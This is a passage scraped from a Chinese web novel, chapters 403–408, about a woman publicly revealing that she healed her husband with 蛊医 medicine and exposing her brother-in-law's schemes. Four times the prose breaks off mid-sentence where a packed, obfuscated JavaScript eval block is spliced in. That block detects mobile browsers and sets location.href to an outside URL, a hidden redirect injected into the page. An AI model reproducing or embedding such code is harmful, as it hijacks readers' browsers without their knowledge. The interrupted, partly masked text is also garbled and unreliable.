“老尚书之死实非蛊医之过,当年之所以将蛊医驱离元京,一是因为当时此案缺失重要人证,二是因为朝野误传太盛,将蛊医看作巫蛊者甚多,甚至有人传言‘医者近巫’,诋毁天下医者,让人畏医、惧医。” “不得已之下,才将蛊医驱离,以平息民怨、民惧,让朝野不再人心惶惶。现真相已明,且已时过境迁,陛下及三司已准蛊医可重新于元京行医,诏命于三日前下达本府,由本府操持办理先关事宜。” 张礼岁对着李玦一拱手,“因先前委屈了蛊医一脉,圣上特命本府着手为愿意重回元京的蛊医大宗重新办理相关文牒,同时为他们安排合适的屋舍,以便重新开设医馆。” “这几日本府忙乱了些,本打算将这一切安置妥当了,再向元京百官、百姓宣读诏命,不想李世子终是快了我们一步,便借今日之机把事情挑明了吧。” 围观的人像油锅进了水一样炸开了,大恒医家门派众多,多一家、少一家都不算新鲜事儿,可蛊医虽然说是与巫蛊无关,可其本身还是带着更浓郁的神秘色彩的,这要是重回元京,可着实让人好奇。 他们互相询问着有没有听说过从前蛊医的情况,有哪些治愈疑难杂症的先例,尤其是家中有久治不愈的病患的,好多都想要试试。 即便心里还畏惧蛊医的,看到华靖离这块儿活招牌,也不会立刻否定,而是想着先观察一下,看看别人有没有被治好了的,之后自家再去尝试。 第403章女子行医,有辱名节? 在嘈杂的议论声中,华靖离就那样握住了她在袖下紧握的手,周围仿佛一下子安静了许多,夏明嫣看着他,许多话都哽在喉咙里,不知道该不该说。 这世上很多人就是被这样牺牲掉的,像华靖离这样的人,已经不能仅仅算是历经生**,他是在生死场上来回穿行的人,他和他身边的人牺牲的更多。 在他眼里,现在的她是不是有点太悲风伤秋、太小情小性了? 夏明嫣眼眶微红,看着华靖离故作安慰地道:“谢谢你为我和蛊医还有杨氏所做的一切,我只是……” “我知道,杨家和蛊医这些年都不容易,可是人要向前看,我们一起想办法让一切回到正轨。”华靖离用低柔的声音安慰道。 在这样的场合上也不好说什么,李玦也不给他们有机会再多说几句体己话: “可是圣上的诏谕在前,你们刚刚说的在好,你治伤之时并不是这样的。还有,你们说的蛊医是谁?我问过城守大人,也让人查过,蛊医杨氏现在的传人,也就是华侯夫人的舅父下落不明,并不曾来过元京。” 蛊医多与南边边民打交道,当中少不得接触一些背景复杂的人,因此朝廷对蛊医的医籍管理最为严格。 若是给华靖离治伤的人不是杨敏仁这样有正规医籍的的蛊医,而是打着蛊医之名的什么人,谁能保证对方除了行医救人之外,没有做点别的? 尤其现在南疆乱得很,万一来人是哪股势力的探子,趁机还做了别的什么,甚至就是来跟华靖离密谋的! 这回夏明嫣没等华靖离开口,她自己站了出来,华靖离已经为她做得够多的了,该到了她自己站出来的时候了。 她走上前去,朗声道:“不是我舅父,是我,是我治好的他。我为华侯治伤的整个过程,一直有两位御医在场,所有记录都已呈报太医院,你还有什么问题?” 这回不止李玦,人群发出的议论声一下子就像开了锅一样迅速暴涨了起来。 “女子行医,不就成三姑六婆了?这可是钩翊侯夫人,夏尚书的嫡长女,这像什么话?” “话也不能这么说,既然华侯夫人的母族是蛊医泰斗,她的生母杨夫人又只有她一个女儿,这家传的手艺传给她,好像也没什么不对的。” “传承从来只说在男嗣身上不能断,可没说在女儿家这儿不能断,要是只有女儿,那也该收徒或是招赘才是。” 李玦听了这些话,刚刚被打压下去的信心又回来了大半,他对着夏明嫣质问道: “姨姐是尚书家的闺秀,尽管在老家卢阳长大,时常接触舅家,可楚家派了四位女师一直在卢阳老宅教养于你,你即便接触过蛊医,又怎会有机会**得医术,还如此了得?” “你现在这般不加掩饰地站出来,不顾自己和家族的名声,定是为了替华靖离掩盖更为不能见人的真相。” “姨姐,你不要再执迷不悟了,把那个人说出来,他究竟是谁?他的医术如此厉害,定是谁家的座上宾,你们在谋划什么?” 女子行医并不是一件光彩的事,尤其这种伤患是男子的,即便此人是自己的夫君或父亲、兄弟,世人也会想,她是不是也曾经给别的男子诊治过,那么她的名节还在不在? 如此以来,女医便被称为医婆,被归属于三姑六婆之列,这类人在婚嫁上,就是杏林之家也未必愿意娶。 现在,让这人接受堂堂钩翊侯夫人是一个“医婆”,怎么可能?若当真如此,那夏家、华家哪儿还有颜面在。 而且就算是真的,夏明嫣掩饰还来不及,怎么可能当众承认,正确的做法就该是推到别人身上,再伪造此人离开元京的轨迹才是。 那个治好华靖离的蛊医如果不是杨敏仁,一定是另一位有着传承身份的大能,这样的人如今八成背后都是有更大的靠山的。 这样的人来给华靖离治伤,很可能还有别的目的,就像李玦揣测的那样,是来跟华靖离密谋的。 夏明嫣之所以把一切都揽在自己身上,就是担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005236|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心有人去查那真正治好华靖离的人的行踪,她宁愿牺牲自己的名节也要遮掩这件事。 那么,这事儿能不大么?从这个角度来看,事情似乎也说得通…… 夏明嫣先看向张礼岁,要把最要紧的事解决了: “敢问张大人,当年圣上所下口谕,大人在查阅卷宗时可曾见过?这诏谕说的究竟是蛊医不得在元京开设医馆、不得行医,还是但凡蛊医皆不可踏足元京?” 张礼岁一五一十地道:“是前者,只要来元京的目的并非行医,诏谕并未限制蛊医在元京生活。” 其实就是只要不公开行医,不表明蛊医的身份,别让太多人知道你是蛊医,便没什么影响。 这也从侧面说明了,圣上只是担心蛊医牵扯的大案未了,再牵扯进其他势力中,让事态恶化下去。 但如果这名蛊医只是一个普通人,只要低调,就无所谓了。 夏明嫣便看向李玦和围观众人,朗声道:“我回元京是因为到了婚嫁之年,要履行婚约,且华侯**之事无法预料,我绝不可能是为了行医才回到元京的。” “之后我与华侯成了婚,他便成了我的夫君,是我的家人,他性命垂危,我无法见死不救,且行医的整个过程都在钩翊侯府中,若非今日李世子主动问起,我从未对外宣扬过。” “为家人医治,一没收取钱财,二没以此作为权利交换的筹码,三没有牵涉当年的大案,四未以蛊医之能打造名声……张大人,您来说说,这算不算违背了陛下的口谕?” 若是这样做的都会被追究,别说是高门大户了,就是普通百姓家,谁能保证大家关起门来做的事桩桩件件都未违背过朝廷的规定? 就好比这行医之事,严格来说没有师承的医者需经过特定的考核才能行医,可这些百姓人家得了病了,没几家没用过偏方和自己采的草药的。 这些偏方的出处真的可以考证么?都是正确的么?草药都是没问题的么……要是都去追究谁都别过了。 第404章哪儿来的靠山? 倒不是鼓励人们跟朝廷法度和圣上对着干,只是这当中也要考虑常理和人情。 夏明嫣虽然没有医籍,师承还是蛊医,可是她并没有公然行医,更没有开设医馆,救治的又是自己的丈夫。 朝廷还规定各家各户除了护卫以外的其他家丁、小厮不可使用刀剑,只能用棍棒呢,那要是主家遇险了,护卫已经**,家丁就不能捡起护卫的刀剑保住主家了? 真这么较真,以后还得了? 别说张礼岁已经收到重振蛊医的诏谕,就算还没收到,他也没那胆子替圣上把所有人都得罪了: “不算,当然不算,就像我们府上吏员,即便三代后不再为吏,那些个手艺、把式难道他们的下一代就不学了?” “女子学医,也可有益于家人,总比那等不学无术、成日嚼舌根子的无用之人强。你们若说华侯夫人不该学蛊医,要学也该学别的医术。” 张礼岁顿了顿,目光在那些看客尤其是他认出的几个也是开医馆、药铺的掌柜的脸上扫过,加重了语气, “她的母家家传就是蛊医,你们有谁觉得不合适,难道还能把你们自己的家传拿给她学不成?你们要是觉得行,成,以后但凡不方便学自家家学的,都去管别家要,就看你们给不给了!” “何况既然整个疗伤的过程太医院都知道,李世子,你以为圣上就不知道么?这种话以后不必再问。” 夏明嫣看向李玦,意有所指地道:“妹夫,你刚才暗示有人会借蛊医之手渗透钩翊侯府,从而拉拢我夫君。我就是你口中的蛊医,你这么说,是怀疑我背后有人?” “可我从小生活在卢阳夏家老宅,上有叔父、婶娘管束,身边有母亲派去的四位女师教养、照顾衣食,与舅父每月只见一回面,再有就是身边的一位几乎没有出过大门的小娘和两个侍女了。” “你觉得我背后能有什么人?我是怎么与这些人见面、传递消息的?你是在质疑我的叔婶还是楚家的女师管束不力?” 这两世,夏明嫣之所以能忍那四位女师这么久,都是存了让她们为她的教养做担保的心思的。 就像有些家族会把出身烟花之地的贱妾所出的女儿教给家族中的节妇抚养,这节妇身上朝廷所赐的牌坊,就会成为这些庶女出身上最好的背书。 同样的道理,不管夏明嫣用什么方式,只要她有法子能让那些女师不说她的坏话,她在卢阳十几年的教养就不存在问题。 不然就卢阳那种地方,天知道有多少人传出有人半夜爬老宅墙头与闺阁未嫁女私会的谣言。在这些人眼里,那些管束松散的老宅里,女子哪儿还有什么贞洁可言。 可有楚家的女师在就不一样了,那是楚家的人,且原先就在元京中享有盛名,还教养过未嫁前的楚氏,谁敢说她们管不好区区一个夏明嫣? 李玦现在特别想说,就那四个老女人,哪儿能弄得过你这么阴险狡诈的女人啊,可是他还要靠着楚家。 他敢公然跟夏明嫣叫板,到底是因为夏明嫣不是楚霆孝的亲外孙女,在夏庸和楚氏那儿也不得宠,可他不敢跟楚氏和楚家叫板。 尤其这里面还有一件事,还是何夫人告诉他的,说的就是楚氏不仅给陆远山有过婚约,其实二人还早就私相授受甚至婚前苟合过了。 这时候他要是公然质疑那四位女师连一个姑娘家跟谁来往都看不住,那也就等于同时在质问楚氏的教养和贞操。 再加上夏明月最近才在公堂上演绎了一回高门泼妇,这加在一块儿,愈发显得他们端侯府也更不堪了……他还能说什么? 李玦的脸憋得白一阵红一阵的,吭哧吭哧地道:“蛊医,隐瞒你会医术的事实,杨郎中不知所踪,你一个女子却做了蛊医杨氏的传人,还有他华靖离刚从北疆回来……这么多巧合,你还敢说这些还是巧合吗?” 夏明嫣冷笑:“我的确**得了蛊医之术,可也就学到了,能用、能救几个人罢了,我可没说我就是蛊医杨氏的传人。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008451|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我天赋不错,悟性也不错,只是跟那些与我条件、师承和学了差不多年头的人相比,我可能学得好了些,又刚巧碰上了一个胆子大、敢尝试的伤患罢了。” 但凡家中有手艺的,师父可以收许多个徒弟,但继人一般只是众多徒弟中的一两个人而已。 夏明嫣的外祖父夏老爷子是有弟子的,那弟子并非传人,出海寻药之后,至少直到现在还没回来,说不定已经在外头落地生根了。 而她的舅父杨敏仁是有儿子的,也就是夏明嫣的表兄,医术也还不错,论水平高于楚家前的夏明嫣,可论悟性却不如她。 即便那时的她还没有重生的记忆和上辈子之后在南疆积累的经验,杨敏仁也是想过栽培她做传人的。 可是夏明嫣的婚事已定,她这样的身份即便做了传人,以后在医道和民间发挥的作用也着实有限。 杨敏仁思量过了,也跟夏明嫣商量过了,还是让自己的儿子做传人,再不成孙子好好栽培也成。 因此,夏明嫣的确不是传人,真有什么背后之人,也很难会愿意把宝押在一个不受家族待见的姑娘家身上。 他们也不可能想到,一个没得到全部真传的姑娘家,能治好华靖离那么重的伤,又如何会对她委以重任呢? 夏明嫣看向围观的众人,“就算我真是蛊医传人又如何?我出嫁前后的事早就在街头巷尾人尽皆知,我从卢阳启程返回元京之时,与我有婚书之人是你啊,妹夫。” “我之所以被换了亲,是因为我的二妹妹也就是你的妻子夏明月与你情深意笃,她为了嫁与你在家不惜不吃不喝、寻死觅活地与父母相抗,我这才嫁给我的夫君华侯。” “我回夏府之后循规蹈矩,而且因为与二妹妹自小分开养育,极其生疏,在换亲之前,从未与她背着父母、祖母单独说过话,从未挑唆过她,要她换亲。” “你的意思是说,可是我这二妹妹把我送到了华侯身边,好方便我为你所谓的背后之人做事的?” 第405章化作一声冷笑 换亲是夏明月干的,而且事出突然,华靖离**重伤和圣旨赐婚至少都不是夏明嫣能预料到的,可是夏明月却未必预料不到。 以夏明月在夏、楚两家的地位,说不定她就是从夏庸和楚霆孝那里提前发现了行刺事件的端倪,之后又安排了暗哨提前得到了**和赐婚的消息,才先发制人地换亲,主导了这一切呢。 要说这一切是夏明嫣、蛊医和不知道是谁的靠山在华靖离身边动手脚,反倒说是夏明月,或是李玦勾结了夏明月主导一切更令人信服。 “可是……这位世子夫人不是跟李世子青梅竹马、情深意种,才不惜违抗父母之命,非要嫁给李世子不可的吗?” “唉,高门人家的情情爱爱、是是非非,你听个热闹就完了,还当真了。你也不想想,夏大人和夫人那般宠爱这位世子夫人,当初定下婚约时为何没有顾着她的心意?” 众人最喜欢高门当中这样的逸闻,七嘴八舌地一议论,很快就得出了结论。 要么,就是夏明月跟李玦之前根本没到他们说的份儿上,他们之间的关系是利益合作更为确切,夏庸和楚氏先前对婚事的安排也没有违背女儿的心意。 夏明月提前得到华靖离**的消息之后,为了实现她跟李玦的共同利益,想利用夏明嫣和蛊医的关系离间华靖离和圣上的关系,甚至想要害死华靖离,再嫁祸给蛊医,这才力主换亲,把夏明嫣嫁了过去。 这可能么……怎么没可能了? “你们也不想想,那位老尚书的死明明跟蛊医没有关系,都能被诬赖这么多年,要是华侯有个三长两短的,说是他的新婚妻子做的,有没有人信?” “这还用说,就算华侯夫人不懂医术,就凭她的母族出身,就得赖到她身上去。” “与其说华侯跟蛊医背后的人勾结意图对圣上不利,倒不如说这李世子和他的夫人一直想害华侯。不然之前吕家那事儿,还有今日,这李世子怎么就咬住华侯夫妇不放了呢?” 这些话听起来特别的有理有据,主要是李玦对华靖离下手的角度太独特了,要不是他一直盯着华靖离和华家的动向,怎么能想到去查这“神医”是不是确有其人呢? 要么,还有一种可能,就是夏明月对李玦是真的,从她的角度来说,她的确是因为青梅竹马的感情违抗父母之命换的亲,可是她没有意识到,她被李玦给利用了。 一开始,夏明月会跟华靖离定亲,也不完全是夏庸和楚氏的意思,是李玦教唆了夏明月,想把夏明月安排到华靖离身边给他当眼线的。 谁知道华靖离**给他提供了新的机会,他发现夏明嫣嫁给华靖离更有利于实现他的计划,于是他又利用夏明月对他的感情,实施了后面的一切。 这样的话,李玦就连夏明月也操纵、利用了,难怪夏明月在吕家那事儿上不顾脸面地跟他当堂撕打起来,估么着是终于看透了他了吧…… 李玦曾经打造起来的美好形象,无论是兄弟之情还是夫妻之情上的,这时都变成了利刃,一刀一刀地插在了他身上! “你们……我没有……姨姐,今日之前,我并不知你学了医术,如何会通过我夫人利用你?”李玦声色俱厉地质问着。 可惜,**夏明嫣学过蛊医之术是真,可他对夏明月并非全然发自真心,也是真的。 要是平时他定然能完美地掩饰过去,可是今日这么多人在场,还全都在议论他,有些事虽然是这些人臆想出来的,可对他目的和本性的揣测却入木三分,这可是把他的骨头都当众扒出来了。 “你说你不知就不知了?我与你曾有婚约,我母族的出身你不可能不知道,你稍微打听一下便会知道我能见到我舅父,你会觉得我舅父从来没有教过我医术?” 就算没正经教过,这样的家世也是能耳濡目染地学上一些的。当然,因为有着两世的经验,夏明嫣当然知道李玦这回说的是真的,之前他是真不知道的。 可是想到前世的种种,夏明嫣哪里肯放弃这种落井下石的机会,其实即便没有华靖离的那些规劝,她也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013500|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个会无端报复的人。 她从前想着,造成上一世那些事的原因很复杂,这一世李玦一开始就娶了夏明月,得到了自己的心仪之人,得到了楚、夏两家的助力,或许他心里的那口气平了,许多事都会不一样了。 如果李玦这辈子能不针对她跟华靖离,她不会想出这么多招来把他的老底给接了,让他这个靠脸面和营造出的形象活着的人,丢了他的脸面,彻底被扒下华服。 可是他处处跟他们过不去,就算这辈子祸害不了她和邓澜了,却还在祸害、利用着他身边的女人。 他从来没有改过他利用完别人,还要把这个为他做尽一切的人踩进泥里,告诉这些人他们有多卑微,这辈子就该被他利用,就该做他的垫脚石。 别看夏明月是上辈子直接害死她的人,其实这辈子当她看到李玦同样在不遗余力地榨干夏明月之后,她现在已经没那么恨夏明月了。 唯独对李玦,她非要反手把他按进泥里不可,让他在祸害他们,破坏他们重生后的生活,呵, “据我所知,李家祖上并无匠人和医者,你这性子,也不像是会纡尊降贵去了解他们的人。你却对医者和匠人传承的常例如此清楚,连传人为女子时多会以入招婿赘解决的习俗都知道。” “你也不想想,要是杨家也是如此,若是没有换亲,难不成杨家还打算招你做赘婿不成?想得美……” 夏明嫣没有说下去,只是用鄙视的目光上下打量着李玦,她的眼神向来会说话,她刻意没用言语,而是只用眼神表达着她的气愤和鄙视。 这反而更加把李玦比了下去,显得他更加卑劣,他自己攀着女子的裙带向上爬就罢了,还拿入赘影射华靖离。好像她让华靖离入赘,华靖离能干似的。 还想说杨家背后有靠山,杨家人经常去南边办药、养蛊,这不就是是在说他们跟南边的常王有关系么? 简直就是贼喊抓贼……夏明月把这一切化作一声冷冷地轻笑,把李玦“扔”进了**审判的中心。 第406章有面子,未必有里子 “入赘?亏他想得出来,他以为华侯跟他一样?他要攀着妇人的裙带向上爬,就以为别人跟他一样。” “我就说,他十年前才多大,就知道找说书匠编话本子夸大他跟华侯的关系,他跟夏家那位的那些恩爱故事大概也是假的。之前吕家那事儿闹的,我家有个亲戚就是府衙的衙役,真实情况比外面传的还精彩。” “诶,我也听说了,你们都不知道这端侯府的人有多不要脸,居然想让人家华家把那孩子认下,栽在人家的庶子头上,简直滑天下之大稽!” 不堪入耳的话多了,李玦不停地告诉自己不要听,可是每一句都钻进了他的耳朵里。 华靖离在这时只是用一道目光,就让人群很快很静了下来,他朗声道: “事情的结果各位都看到了,我的确已经痊愈,不存在欺瞒陛下和朝廷的情况。我之所以没有及时回到北疆,是圣上和太子殿下体贴我新婚不久,又是刚刚伤愈,让我在元京多待些时日。” “再者,朝廷也对我另有安排。我之前未真正允诺李世子去北疆一事,也是因为这当中有些变化。有些事我不能向他透露,没想到他竟生了误会,以为我在故意刁难他。” 他转过身去,看向李玦,“妹夫,我万万没想到你会用如此卑劣的手段诬陷我们夫妇,不过也好,我知道怀疑我的不止你一个,正好趁着这个机会都说清楚了。” “你么,你最近府里不顺当,心烦气躁也是有的。你若还想去北疆,也不是不可以,只是事情到了这个地步了,我也不想舔着脸去举荐一个陷害我和我妻子的人。” “如今北疆局势已变,原本驻守的兵将有一批要撤回来,换一批人去换防。这里面有一些位子是要招人应考的,你要是能通过考校,没人能拦你。” “好,谢华侯宽宏大量,今日之事是我急躁了,受了小人蒙蔽,是我对不住你。” 李玦冷静了一些,知道自己这时候再死犟着只会让事情往最糟糕的方向发展,倒不如把心思放在之后的应考上。 只要他能去北疆,别管是不是背后给了考校之人好处,总之只要他能去,他就可以说今日的演习不公正,他是被华靖离和夏明嫣暗地里使了绊子了。 或是不去北疆,有了别的不错的位子,再或是这中间他能袭爵也成,这才是证明他李玦没有那般不堪的最好的法子! 李玦没脸再待下去,由几个小厮护着,穿过人群,回端侯府去了,临离开时,他往人群中深深地看了一眼。 顺着李玦的目光看去,那里站着的正是孙允斌,看样子,李玦并没有怪孙允斌提供的消息不准确,反而用目光安慰了对方。 夏明嫣低声对华靖离道:“瞧着吧,他一定会让孙允斌在我这儿下功夫。他还会想尽办法从别的路子去北疆,把面子找回来。” “让他去,有了面子,不见得有了里子,别忘了张老父子。”华靖离微微笑道。 他们跟张礼岁打了个招呼,就在郭林等人的护卫下回府了。一群人离开,呼啦啦的,连带着把场子里的那些摊子也又给收拾好了。 围观的人也散去了大半儿,这种人多的场合,元京府衙本就要派人维持秩序,张礼岁本来就在这儿,索性让人回去叫了人来善后。 别人都走了,张礼岁才能走,他也就自然而然地看到了被人群挤得落在后面的孙允斌,他认得这个年轻人,之前来府衙问过孙家的情况。 他记得,孙允斌是后族孙氏的远亲,这几年因为孙氏一族衰微,原本在元京的宅子卖给了别人,他从老家过来找不到地方,才来府衙打听情况。 刚才他跟华靖离喝茶的时候,华靖离提了这人一句,说是这人如今在他府上,还是个钉子,但没说是谁派去的钉子。 张礼岁多看了孙允斌两眼,这人一看就有心事,结合刚刚发生的事,要是他不是李玦那边的人,他失魂落魄地干什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还有人群中的这些看客,好些也出自高门世家,不过能来这儿看热闹的,也都是些不成器的子弟。 这些人要是哪天更落魄了,怕是连李玦都当不成。李玦到底还有撕破脸、自己把自己踩在脚下的勇气,这些人恐怕散尽了富贵之后,好些都只能烂在酒坛子里。 第407章万古枯 说是高门贵胄,跟他们这些破落户一样,各家有各家的苦衷和难处,就是这李玦也够苦的。 要是只有之前在华家发生的那一切,孙允斌还有些犹豫,他那时还想着再看看,说不定端侯府这边还有别的优势,他没发现呢?毕竟华家也不是十全十美的。 就拿华靖离这个人来说,是朝廷重臣、统领一方的军侯,华家更是历时五代,打造出了足以震慑朝野和大恒周边诸国的华家军。 可是盛极而衰,同样,他和华家身上也背负着君王的忌惮,当今圣上还好,如今他虽和太子的关系缓和了,将来哪一步稍微疏忽一下,就会功亏一篑、家族不保。 这端侯府看起来已经成了破落户,而且主事之人性情卑劣,可他虽然获取的信息不够,他也清楚端侯府隐藏了一件巨大的秘密,并且纠集了背后几股势力,将来乱起来,他们一定会趁势而起。 跟着华靖离,纵使能够走正道,可是这条路上有太多的高门世家,即便他出身孙家嫡支,也在这当中排不上号,将来即便**行赏,他也得不到多少。 可要是跟着端侯府这一支,或许还能赌一把,一旦乱了,将来的封赏和利益划分就可以打破原有的地位排序…… 孙允斌在心里叹了口气,他原本不是一个追求高位的人,这个官儿得做,不然经商都得被人欺负,可也用不着太高,他不是一个不知足的人。 可既然跟着两边都要冒险,两边都有可能性命不保,那他当然要选择他能得到利益更大的那一边。就像华靖离说的那样,他还可以选一选…… 可就在刚才,他忽然有一种仿佛已经过了很多年的沧桑之感,他忽然觉得即便跟着李玦这样的人,将来能分到更大的利益,他也不想了。 因为这样走下去,实在太累了,这得把自己的尊严踩进碎石里碾碎多少回才能走到最后啊。 他跟李玦还不一样,李玦是看上去很要脸,实际上却可以完全不要脸,连骨头都可以不要,而他是看上去可以为了荣华富贵不要脸,但其实他还是想要点脸的。 张礼岁看着孙允斌的脸色变化,很快就全明白了,其实张家也是从高门破败成寒门的,他又何尝不是另一个孙允斌呢。 唉,谁让他比孙允斌年长许多呢,就当作结个善缘,提携一下后辈吧。 张礼岁轻了轻喉咙:“都是人,是人就有贪欲。元京就这么大,立朝五代,封赏过多少人,一个人登上高位,这城里就得多一大家子人,可就算到了现在,也没见住不下。” 有人进来,就必定有人出去,有家族兴盛的,自然也有变成破落户的。 盛衰荣辱很多时候都在一瞬间,有**办寿辰之时,也有人贬官流放、人头落地…… 孙允斌心头的沧桑感更重了,他有些迟疑,但也看出了眼前的人正在提点他,便大着胆子道: “这些日子以来,小生寻亲不顺,只能在他人府上寄身,最近长了许多见识。只是小生有一事不明,这端侯府……李世子的爵位为何迟迟不能承袭?” 张礼岁故意卖了个关子考他:“当年南疆安宁之时,老端侯主持海贸事宜,办事不利,违反了律法,圣上念其年事已高、已然病危且祖辈都是大恒肱骨,只去了他平南大将军的职衔,未去其爵位。” “只在他过世之后,将其子也就是李世子奏请袭爵的折子留中不发……这是元京人尽皆知的事,你应该已经打听到了吧。” 孙允斌颔首,面上尴尬了一下:“既然圣上不忍责罚老端侯,要让其子孙受了这罪过,为何不干脆夺爵,而是用这爵位……钓着他们,可是另有隐情?” 既不夺爵,也不让其袭爵,还允许其与其他高门联姻,尤其这亲家还身居高位。 而且这亲家显然不是那等品行高洁、信守承诺之人,竟然没有悔婚,还把最宠爱的女儿、外孙女嫁了过去。 别说这是夏明月寻死觅活才促成的,夏明月不是什么烈女,要是夏庸和楚氏咬**不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017233|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她怎么都不可能嫁。 况且今天的情形大家都看到了,那些围观的人虽然说了些浑话,他们自己都不会太当真,可有些话还是有道理的。 那就是夏明月和李玦的感情没有那么深,她一开始应该是认可了她和华靖离的婚约了,后来换亲,一定另有理由。 那么,什么样的理由能让一个高门贵女甘愿嫁给一个破落户还获得了父母和身为宰相的外祖父的首肯呢? 这一定是一个很大的利益,同时这个利益也是当今圣上当年没有处置老端侯,后来没有彻底夺了李玦的爵位甚至连降等袭爵都没有提过的真正原因。 张礼岁和孙允斌都是聪明人,这当中的机窍不需要张礼岁亲口回答,两个人目光之间的交锋已然让孙允斌找到了答案。 虽然张礼岁和华靖离、夏明嫣都不方便说出具体的因由,可这个因由和特别大的利益是真实存在的,而这些也同时是端侯府将来起家的资本,也是楚、夏两家肯支持他们的原因。 孙允斌四下看了看,那些个衙役已经回去了,张礼岁的随从都很有眼色地在前头的点心摊子那儿呢。 孙允斌压低了声音,边说边看着张礼岁的眼睛,生怕错过当中哪怕一点变化: “这李世子站在了一个大网的中间,他是织网的人,也是解网的人,他身边的人会很难做,对吧?他不是不愿意有尊严,他是没办法。” “这件事太复杂了,在他身边的所有人,随时可能粉身碎骨。即便他一将功成了,也会万骨枯,对不对?” 孙允斌不是一个怕死的人,可是他想死得值得,不能莫名其妙地被处理掉了。 张礼岁笑了一下:“你这不是挺明白的么?选哪一条路,不能只看得利多少,你也得想想自己有没有得到那些利益的命。” “有句话怎么说的来着,有命花,没命享。有些人向上的路太坎坷、太黑暗了,你说他成功之后要怎么对待曾经跟他一起同行的那些人?” 第408章能放心不? 对于很多历经坎坷终于上位的人来说,那些曾经见证过自己卑贱、落魄、毫无风骨的人,是绝不能活着的,尤其是这些人后来也身居高位的话。 这不仅仅是面子问题,这些人不仅见证过过去那个不堪的他,还知道他近乎所有的把柄和弱点,这样的人得了封赏,身居高位,将来跟别人联手对付他,简直轻而易举。 这些人若是能去了实权,有个闲职或是回到老家、地方上做个富家翁,就是最好的结局了,其他的人多的是身首异处、家族倾覆的。 就算活着,不仅要面对今日上位者、昔日同伴的猜忌和反目,这一路走来,他自己也树敌颇多,还会有许多的仇家。所以这样的人,到了晚年也多是惶惶不可终日的。 折腾了一辈子,最后得不到平静,孙允斌觉得,这些要是放在他身上,他大概会惊惧忧虑而死。 他为何只是想要个官位,不高不低的那种就好,也是想着这样的结局对他来说才是最容易承担的。 他要是跟着李玦这样的人干,即使最后爬上去了,后面他也还得想法子下来,在“半山腰”找个地方猫着。 那么与其爬上去再下来,费那么多事儿,他倒不如一开是就只爬到“半山腰”,还更省事儿些。 孙允斌做了个刀抹脖子的动作,摇了摇头:“小生不是那等野心深重之人,他日能在元京安家落户,能比族里的那些亲戚日子过得殷实、稳妥些,心里就舒坦了。” “还要多谢张大人赐教,这里面很多事儿小生看不懂,也不想懂,人活到那种地步,多累啊……小生没想过这辈子能有多大成就。” “都说吃看三代,穿看四代,到了第五代才能看文章,要想摸到那些高门的门槛儿,在小生这儿还得好几代人呢。” 这倒不完全是假话,孙允斌这一支只是相对于孙家嫡支来说受气了些,可也并没有发生过什么天凉王破的灾祸,他有争口气的决心,却也没有那么大的志向要谁好看。 要说大志向,他不是没想过,可这种设想都只是建立在“要是他把什么事儿做好,顺便能够怎样就更好了”的基础上的,他可不像李玦,能甘愿把这么多一起踩他的脸当作付出。 张礼岁有些意外地回了孙允斌一眼,能看得透还愿意把这些话说出来的人,是个通透人,而人先要正视自己才有可能振翅高飞,这小子说不定将来反而是个有造化的。 他轻点了下头,拍了拍孙允斌的肩膀:“后生可教,选哪条路很重要,这路要是选错了,后头可就难了。不是我倚老卖老,有些事儿只有过来人才看得清楚。” “你说朝廷考绩我们这些人,为何也要看我们如何治家,家人之间是否仁孝、和睦?这可不仅是礼教上的要求,因为这人么,家庭和睦,尤其是这妻贤子孝的,他没有后顾之忧,心境也更平和,办起差事来也更妥帖。” “这要是连家事都处理不好的,每天散了衙回家,别人还能读读书、想想朝廷的方略,他自己每天处理那些狗屁倒灶的事儿都焦头烂额了,还能干得了什么?” 